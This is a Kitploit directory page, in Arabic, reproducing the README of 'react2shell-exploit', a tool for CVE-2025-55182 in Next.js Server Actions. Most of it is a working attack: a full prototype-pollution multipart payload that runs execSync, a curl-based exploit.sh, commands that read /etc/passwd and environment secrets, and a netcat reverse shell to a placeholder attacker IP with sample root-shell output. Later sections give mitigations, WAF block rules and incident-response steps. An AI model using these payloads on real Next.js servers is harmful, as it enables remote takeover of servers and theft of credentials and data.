Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
react2shell-exploit — CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions. | Kitploit
أدوات/GitHubGitHub/yannisduvignau/react2shell-exploit
الاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
4منذ 3 أشهرلم تتم المراجعة بعد
مشاركة

CVE-2025-55182 – React2Shell

تنفيذ الأوامر عن بُعد في Next.js

⚠️ إخلاء مسؤولية: هذه الوثائق مقدمة لأغراض تعليمية وبحوث أمنية فقط. أي استخدام غير مصرح به لهذه التقنيات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.


📋 جدول المحتويات

  1. نظرة عامة
  2. كيف يعمل
  3. التثبيت والإعداد
  4. الاستغلال خطوة بخطوة
  5. النتائج والتأثير
  6. استراتيجيات التخفيف

نظرة عامة

CVE-2025-55182، المعروف أيضاً باسم React2Shell، هو ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم:

  • مكونات React Server Components (RSC)
  • Server Actions

لماذا هو خطير؟

يمكن للمهاجم تحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم من خلال استغلال:

  1. إلغاء التسلسل غير الآمن لحمولات RSC
  2. تلوث النموذج الأولي عبر و
__proto__
constructor
  • مسارات تنفيذ ديناميكية في بيئة تشغيل خادم Next.js
  • النتيجة: يمكن تنفيذ أوامر نظام تعسفية بصلاحيات عملية Node.js.


    كيف يعمل

    المرحلة 1: بروتوكول RSC في Next.js

    يستخدم Next.js بروتوكول multipart/form-data مملوكاً للتواصل بين العميل والخادم:

    • يرسل العميل React Server Components إلى الخادم
    • يقوم الخادم بإلغاء تسلسلها ومعالجتها
    • تُعاد النتيجة إلى العميل
    root@kitploit:~
    Client (Browser)
        ↓
    [multipart/form-data RSC payload]
        ↓
    Next.js Server
        ↓
    Deserialization + Execution
        ↓
    Response
    

    المرحلة 2: موطن الضعف - إلغاء التسلسل غير الآمن

    توجد الثغرة للأسباب التالية:

    1. لا يتم التحقق من البيانات التي يتحكم بها المستخدم قبل إلغاء التسلسل
    2. يُسمح بالوصول إلى سلسلة النموذج الأولي (__proto__, constructor)
    3. يتم تقييم حقول معينة ديناميكياً أثناء معالجة الطلب

    المرحلة 3: هجوم تلوث النموذج الأولي

    يمكن للمهاجم صياغة حمولة تعدل خصائص الكائنات الداخلية:

    root@kitploit:~
    {
      "then": "$1:__proto__:then",  // Targets the prototype chain
      "_response": {
        "_prefix": "malicious code here"  // Code injection
      }
    }
    

    من خلال استغلال __proto__، يلوث المهاجم النموذج الأولي لكائنات JavaScript، مما يؤثر على جميع الكائنات التي ترث منه.

    المرحلة 4: حقن الأكواد

    داخل حقل _prefix، يحقن المهاجم كود JavaScript يقوم بـ:

    1. الوصول إلى وحدة Node.js عبر process.mainModule.require()
    2. تحميل وحدة child_process
    3. تنفيذ أوامر النظام باستخدام execSync()
    root@kitploit:~
    var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
    

    المرحلة 5: استخراج النتيجة

    تكون نتيجة الأمر مخفية في استجابة الخطأ:

    root@kitploit:~
    throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
    

    يعيد Next.js هذا الخطأ إلى العميل، ويكون ناتج الأمر مرئياً في حقل digest.


    التثبيت والإعداد

    المتطلبات الأساسية

    • Node.js 20
    • Burp Suite (أو أداة مشابهة لاعتراض الطلبات)
    • curl أو Postman (لإرسال الحمولات)

    الخطوة 1: استنساخ وتثبيت الخادم الضعيف

    root@kitploit:~
    # Clone the PoC
    git clone https://github.com/msanft/CVE-2025-55182.git
    mv CVE-2025-55182/test-server ./
    rm -rf CVE-2025-55182
    
    # Install Node.js 20
    nvm install 20
    nvm use 20
    
    # Install dependencies
    cd test-server
    npm install
    

    الخطوة 2: تشغيل الخادم

    root@kitploit:~
    npm run dev
    

    أصبح الخادم الآن متاحاً على:

    root@kitploit:~
    http://localhost:3000
    

    الخطوة 3: التحقق من تشغيل الخادم

    root@kitploit:~
    curl http://localhost:3000/
    

    في هذه المرحلة، يتصرف الخادم بشكل طبيعي.


    الاستغلال خطوة بخطوة

    النهج 1: استخدام Burp Suite (الاعتراض اليدوي)

    الخطوة 1: تفعيل الاعتراض

    1. افتح Burp Suite
    2. انتقل إلى علامة التبويب Proxy → Intercept
    3. فعّل Intercept is on
    4. افتح http://localhost:3000/ في متصفحك

    الخطوة 2: اعتراض الطلب

    سيتم اعتراض طلب GET. أرسله إلى علامة التبويب Repeater:

    1. انقر بزر الماوس الأيمن → Send to Repeater
    2. انتقل إلى علامة التبويب Repeater

    الخطوة 3: الاستبدال بالحمولة الخبيثة

    استبدل الطلب بالكامل بالحمولة التالية:

    root@kitploit:~
    POST / HTTP/1.1
    Host: localhost:3000
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 740
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    

    الخطوة 4: إرسال الطلب

    انقر على Send


    النهج 2: سكربت استغلال آلي

    أنشئ ملف exploit.sh:

    root@kitploit:~
    #!/bin/bash
    
    TARGET_HOST="localhost"
    TARGET_PORT="3000"
    COMMAND="id"
    
    # Build the payload
    PAYLOAD=$(cat <<'EOF'
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    EOF
    )
    
    # Replace the command
    PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
    
    # Send the request
    curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
      -H "Next-Action: x" \
      -H "X-Nextjs-Request-Id: b5dce965" \
      -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
      -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
      --data-raw "$PAYLOAD"
    

    اجعله قابلاً للتنفيذ:

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh
    

    أمثلة على الأوامر

    سرد الملفات والمجلدات

    root@kitploit:~
    COMMAND="ls -la /"
    

    الحصول على المستخدم الحالي

    root@kitploit:~
    COMMAND="whoami"
    

    قراءة ملف

    root@kitploit:~
    COMMAND="cat /etc/passwd"
    

    التحقق من اتصالات الشبكة

    root@kitploit:~
    COMMAND="netstat -tuln"
    

    الحصول على متغيرات البيئة

    root@kitploit:~
    COMMAND="env"
    

    الصدفة العكسية (وصول كامل إلى الخادم)

    للحصول على وصول تفاعلي كامل للصدفة، استخدم صدفة عكسية.

    على جهاز المهاجم: الاستماع للاتصالات

    root@kitploit:~
    ncat -lvnp 9009
    

    أو باستخدام netcat:

    root@kitploit:~
    nc -lvnp 9009
    

    على الهدف: إرسال حمولة الصدفة العكسية

    عدّل الحمولة بالأمر التالي (استبدل <ATTACKER_IP> بعنوان IP الخاص بك):

    root@kitploit:~
    COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
    

    تصبح الحمولة الكاملة:

    root@kitploit:~
    POST / HTTP/1.1
    Host: <TARGET_IP>:<TARGET_PORT>
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 821
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    

    النتيجة المتوقعة

    root@kitploit:~
    ❯ ncat -lvnp 9009
    Ncat: Version 7.98 ( https://nmap.org/ncat )
    Ncat: Listening on [::]:9009
    Ncat: Listening on 0.0.0.0:9009
    Ncat: Connection from 10.100.0.169:51438.
    sh: no job control in this shell
    sh-3.2$ ls
    bin  boot  dev  etc  home  lib  ...
    sh-3.2$ whoami
    root
    sh-3.2$ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    ...
    

    لديك الآن صدفة تفاعلية كاملة على الخادم الهدف.


    النتائج والتأثير

    استجابة الخادم

    عند الاستغلال الناجح:

    1. يستجيب الخادم بـ HTTP 500 Internal Server Error
    2. يحتوي نص الاستجابة على ناتج أمر النظام المنفذ
    3. يُدمج الناتج في حقل digest داخل استجابة الخطأ

    مثال على الاستجابة

    root@kitploit:~
    Error: NEXT_REDIRECT
    digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

    التأثيرات المحتملة

    • 🔥 تنفيذ الأوامر عن بُعد بالكامل (RCE)
    • 📂 وصول كامل لنظام الملفات
    • 🔐 سرقة بيانات الاعتماد والأسرار
    • 🚨 حركة جانبية داخل الشبكات الداخلية
    • 💥 اختراق كامل للخادم
    • 🔗 هجمات سلسلة التوريد (إذا استُخدم لاختراق التطبيقات المنشورة)
    • 📊 استخراج البيانات والتلاعب بها

    استراتيجيات التخفيف

    لمسؤولي الأنظمة

    1. تحديث Next.js فوراً

    root@kitploit:~
    npm install next@latest
    

    تأكد من تشغيل إصدار مُصَحَّح من Next.js. راجع النشرات الأمنية الرسمية.

    2. تحقق صارم من حمولات RSC

    أضف تحققاً صارماً من حمولات RSC الواردة:

    root@kitploit:~
    // middleware.ts
    import { NextRequest, NextResponse } from 'next/server';
    
    export function middleware(request: NextRequest) {
      // Reject suspicious payloads
      if (request.headers.get('content-type')?.includes('multipart/form-data')) {
        const bodyString = request.body?.toString() || '';
        
        // Block payloads containing dangerous patterns
        if (bodyString.includes('__proto__') || 
            bodyString.includes('constructor') ||
            bodyString.includes('child_process')) {
          console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
          return new NextResponse('Forbidden', { status: 403 });
        }
      }
      
      return NextResponse.next();
    }
    
    export const config = {
      matcher: ['/:path*']
    };
    

    3. تعطيل Server Actions إذا لم تكن مطلوبة

    في next.config.js:

    root@kitploit:~
    module.exports = {
      experimental: {
        serverActions: {
          enabled: false // Disable if not needed
        }
      }
    };
    

    4. تشغيل Node.js بأقل الصلاحيات

    root@kitploit:~
    # Create a dedicated user
    useradd -r -s /bin/false nextjs
    
    # Run the service under this user
    sudo -u nextjs node server.js
    
    # Or with systemd
    # /etc/systemd/system/nextjs.service
    [Service]
    User=nextjs
    Group=nextjs
    ExecStart=/usr/bin/node /app/server.js
    

    5. عزل الحاويات مع تقليل القدرات

    استخدم Docker مع قدرات مقيدة:

    root@kitploit:~
    FROM node:20-alpine
    
    # Create non-root user
    RUN addgroup -g 1001 -S nodejs
    RUN adduser -S nextjs -u 1001
    
    WORKDIR /app
    COPY package*.json ./
    RUN npm ci --only=production
    
    COPY . .
    
    USER nextjs
    
    EXPOSE 3000
    CMD ["node", "server.js"]
    

    شغّل الحاوية مع قدرات مقيدة:

    root@kitploit:~
    docker run \
      --cap-drop=ALL \
      --cap-add=NET_BIND_SERVICE \
      -u nextjs:nextjs \
      --security-opt=no-new-privileges \
      --read-only \
      --tmpfs /tmp \
      my-nextjs-app
    

    6. مراقبة الطلبات المشبوهة

    نفّذ تسجيلاً شاملاً:

    root@kitploit:~
    // Custom logging middleware
    app.use((req, res, next) => {
      // Log all POST requests with Next-Action header
      if (req.method === 'POST' && req.headers['next-action']) {
        const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
        const bodyString = JSON.stringify(req.body);
        
        const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
        
        if (isSuspicious) {
          console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
          console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
          console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
          
          // Alert security team
          // sendSecurityAlert(`Exploit attempt from ${req.ip}`);
          
          return res.status(403).json({ error: 'Forbidden' });
        }
      }
      
      next();
    });
    

    7. نشر جدار حماية لتطبيقات الويب (WAF)

    قم بتكوين WAF الخاص بك لمنع:

    قواعد ModSecurity:

    root@kitploit:~
    # Block __proto__ in request body
    SecRule REQUEST_BODY "@contains __proto__" \
      "id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
    
    # Block constructor in request body
    SecRule REQUEST_BODY "@contains constructor" \
      "id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
    
    # Block child_process module access
    SecRule REQUEST_BODY "@contains child_process" \
      "id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
    
    # Block execSync function
    SecRule REQUEST_BODY "@contains execSync" \
      "id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
    
    # Block require() statements
    SecRule REQUEST_BODY "@rx require\s*\(" \
      "id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
    

    مثال AWS WAF:

    root@kitploit:~
    {
      "Name": "BlockRCEAttempts",
      "Rules": [
        {
          "Name": "BlockProtoPolluton",
          "Priority": 1,
          "Statement": {
            "ByteMatchStatement": {
              "FieldToMatch": { "Body": {} },
              "TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
              "PositionalConstraint": "CONTAINS",
              "SearchString": "__proto__"
            }
          },
          "Action": { "Block": {} },
          "VisibilityConfig": {
            "SampledRequestsEnabled": true,
            "CloudWatchMetricsEnabled": true,
            "MetricName": "BlockProtoPolluton"
          }
        }
      ]
    }
    

    8. ترويسات سياسة أمان المحتوى (CSP)

    بينما تحمي CSP بشكل أساسي جانب العميل، فهي ممارسة جيدة:

    root@kitploit:~
    app.use((req, res, next) => {
      res.setHeader('X-Content-Type-Options', 'nosniff');
      res.setHeader('X-Frame-Options', 'DENY');
      res.setHeader('X-XSS-Protection', '1; mode=block');
      res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
      next();
    });
    

    9. تدقيقات أمنية منتظمة

    root@kitploit:~
    # Scan dependencies for vulnerabilities
    npm audit
    npm audit fix
    
    # Use snyk for continuous monitoring
    snyk monitor
    
    # Regular penetration testing
    # Schedule quarterly security assessments
    

    10. خطة الاستجابة للحوادث

    إذا اشتبهت في حدوث استغلال:

    root@kitploit:~
    # 1. Check logs for suspicious patterns
    grep -r "__proto__" /var/log/
    grep -r "child_process" /var/log/
    grep -r "execSync" /var/log/
    
    # 2. Check process history
    ps aux | grep node
    history | grep -E "(nc|ncat|bash)"
    
    # 3. Check network connections
    netstat -tuln
    lsof -i -P -n
    
    # 4. Isolate the affected system
    sudo iptables -I INPUT -j DROP
    
    # 5. Preserve evidence and logs
    tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
    
    # 6. Notify your security team and apply patches
    

    الغوص التقني العميق

    تحليل الحمولة

    root@kitploit:~
    {
      // Step 1: Target the prototype chain
      "then": "$1:__proto__:then",
      
      // Step 2: Mark as resolved model
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      
      // Step 3: Inject code through _response
      "_response": {
        // The injected JavaScript code
        "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        
        // Reference to form data
        "_chunks": "$Q2",
        
        // Access constructor through form data
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    

    لماذا ينجح هذا؟

    1. تحليل multipart: يحلل Next.js بيانات multipart form data
    2. حل المراجع: تُحل المراجع مثل $1 إلى حقول نموذج أخرى
    3. إعادة بناء الكائنات: تُعاد بناء الكائنات من البيانات المحللة
    4. تلوث النموذج الأولي: يعدل مسار __proto__ النموذج الأولي للكائن
    5. تنفيذ الأكواد: يُقيَّم حقل _prefix أثناء معالجة الأخطاء
    6. تنفيذ الأوامر: يشغّل execSync الأمر التعسفي
    7. استخراج النتيجة: يُدمج الناتج في digest الخطأ

    موارد إضافية

    • الإثبات الأصلي للمفهوم PoC: https://github.com/msanft/CVE-2025-55182/
    • توثيق أمان Next.js: https://nextjs.org/docs/security
    • تلوث النموذج الأولي - OWASP: https://owasp.org/www-community/attacks/Prototype_pollution
    • أفضل ممارسات أمان Node.js: https://nodejs.org/en/docs/guides/security/
    • CWE-502: إلغاء تسلسل البيانات غير الموثوقة: https://cwe.mitre.org/data/definitions/502.html

    الخلاصة

    CVE-2025-55182 (React2Shell) تُظهر مخاطر حرجة مرتبطة بـ:

    ✅ إلغاء التسلسل غير الآمن للبيانات التي يتحكم بها المستخدم ✅ تلوث النموذج الأولي في سلاسل النماذج الأولية في JavaScript ✅ تنفيذ الأكواد الديناميكي دون تحقق مناسب

    تعزز هذه الثغرة أهمية:

    • 🔒 التحقق من المدخلات: لا تثق أبداً بمدخلات المستخدم
    • 🛡️ الدفاع المتعمق: استخدم طبقات حماية متعددة
    • ⚠️ إبقاء الأطر محدثة: طبق التصحيحات الأمنية فوراً
    • 🔍 المراقبة والتسجيل: اكتشف السلوك المشبوه
    • 🔐 مبدأ الصلاحيات الأقل: شغّل الخدمات بأقل الصلاحيات
    • 🧪 الاختبار الأمني المنتظم: أجرِ التدقيقات واختبارات الاختراق

    الترخيص: للاستخدام التعليمي فقط - الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.

    لأغراض البحث الأمني المشروع والاختبار المصرح به، تأكد من حصولك على إذن كتابي من مالك النظام قبل إجراء أي اختبارات.

    تنزيل الأداة